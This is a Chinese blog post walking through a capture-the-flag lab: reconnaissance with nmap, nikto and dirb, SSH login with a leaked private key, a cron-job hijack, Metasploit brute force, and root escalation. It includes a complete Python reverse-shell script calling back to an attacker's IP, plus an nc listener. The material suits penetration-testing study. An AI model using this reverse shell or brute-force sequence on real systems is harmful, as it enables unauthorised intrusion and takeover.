• 拿到第一个用户并提权


    搭建环境

    真机安装

    python环境(python-IDE)

    java环境(java-IDE)

    PHP环境(phpstudy)

    火狐浏览器延长支持板(需要安装HackBar扩展插件)

    notepad++

    虚拟机安装

    kali linux

    Win10(CFT工具包,为防止有后门不安装在真机)

    拿到第一个用户权限并获取root权限

    1.信息探测
    
    探测靶场开放的服务与服务的版本
    
    nmap -sV ip
    
    探测靶场全部信息
    
    nmap -A -v ip
    
    探测靶场的操作系统与版本
    
    nmap -O ip
    
    同样也可以用nikto来挖掘信息
    nikto -host ip
    
    2.分析探测结果
    首先考虑暴力破解和私钥泄露
    对于开放http服务的80端口或者其他端口的靶场首先考虑通过浏览器访问对应靶场的http服务(http://ip:port),然后再使用探测工具对http的目录进行探测(dirb http://ip:port)
    
    3.利用挖掘到的ssh私钥
    修改id_rsa的权限
    chmod 600 id_rsa
    
    利用私钥登录服务器
    ssh -i id_rsa 用户名@ip
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    登录服务器后需要做一下三点操作
    
    1.查看当前用户
    
    2.id查看当前用户的权限
    
    3.查看根目录寻找flag文件
    
    注:flag文件只属于root用户和对应的组
    
    cat /etc/passwd		##查看所有用户的列表
    
    cat /etc/group			##查看用户组
    
    find / -user 用户名		##查看属于某些用户的文件
    
    /tmp					##查看缓冲文件目录
    
    ls -al			##查看隐藏文件
    
    4.查看/etc/crontab 这个文件,看是否有定时任务存在
    cat /etc/crontab
    
    5.编写反弹攻击的shell代码
    #!/usr/bin/python
    导入os,subprocess,socket这三个模块
    import os,subprocess,socket
    
    创建一个套接字
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    套接字反弹到攻击机的ip和端口号
    s.connect(("攻击机IP地址","攻击机监听端口"))
    标准输入赋值给套接字的标识符
    os.dup2(s.fileno(),0)
    标准输出赋值给套接字的标识符
    os.dup2(s.fileno(),1)
    错误输出赋值给套接字的标识符
    os.dup2(s.fileno(),2)
    子进程调用shell交互
    p=subprocess.call(["/bin/sh","-i"])
    
    6.查看端口是否被占用
    查看在用端口
    sudo netstat -pantu
    监听端口
    nc -lvp 4445
    
    7.将编写的反弹攻击的shell代码上传到靶机中,然后更名为与靶机中py文件一样的名字
    
    8.将上传的文件提升权限
    
    9.查看/home文件是否具有root权限
    
    10.利用cupp创建字典
    注:kali中并没有这样的集成字典,需要自己git
    git clone https://github.com/jeanphorn/common-password.git
    
    chmod +x cupp.py
    
    ./cupp.py -i
    
    11.使用metasploit破解ssh
    msfconsole
    
    msf > use auxiliary /scanner /ssh//ssh_login
    msf auxiliary(ssh_login) > set rhosts 192.168.101.47
    msf auxiliary(ssh_login) > set username simon
    msf auxiliary(ssh_login) > set pass_file simon.txt
    msf auxiliary(ssh_login) > set threads 5
    msf auxiliary(ssh_login) > show options
    msf auxiliary(ssh_login) > set verbose true
    msf auxiliary(ssh_login) > run
    
    12.进行会话优化
    python -c "import pty;pty.spawn('/bin/bash')"
    su -root
    
    13.获取flag文件
    一般在root目录下
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
  • 相关阅读:
    网络安全在2024好入行吗?
    ssm和springboot项目运行与部署
    STL常用库函数复习
    十七、完整神经网络模型训练步骤
    内存函数的
    RK3399平台开发系列讲解(内核调试篇)USB摄像头快速测试
    使用 Spring Boot Admin 监控应用状态
    Android Jetpack 全家桶系列(二): Lifecycle(使用篇)
    【RTS】安海波老师:SIP与RTC融合分享笔记
    剑指Offer07.重建二叉树_解题思路&代码实现
  • 原文地址:https://blog.csdn.net/weixin_44774550/article/details/132970223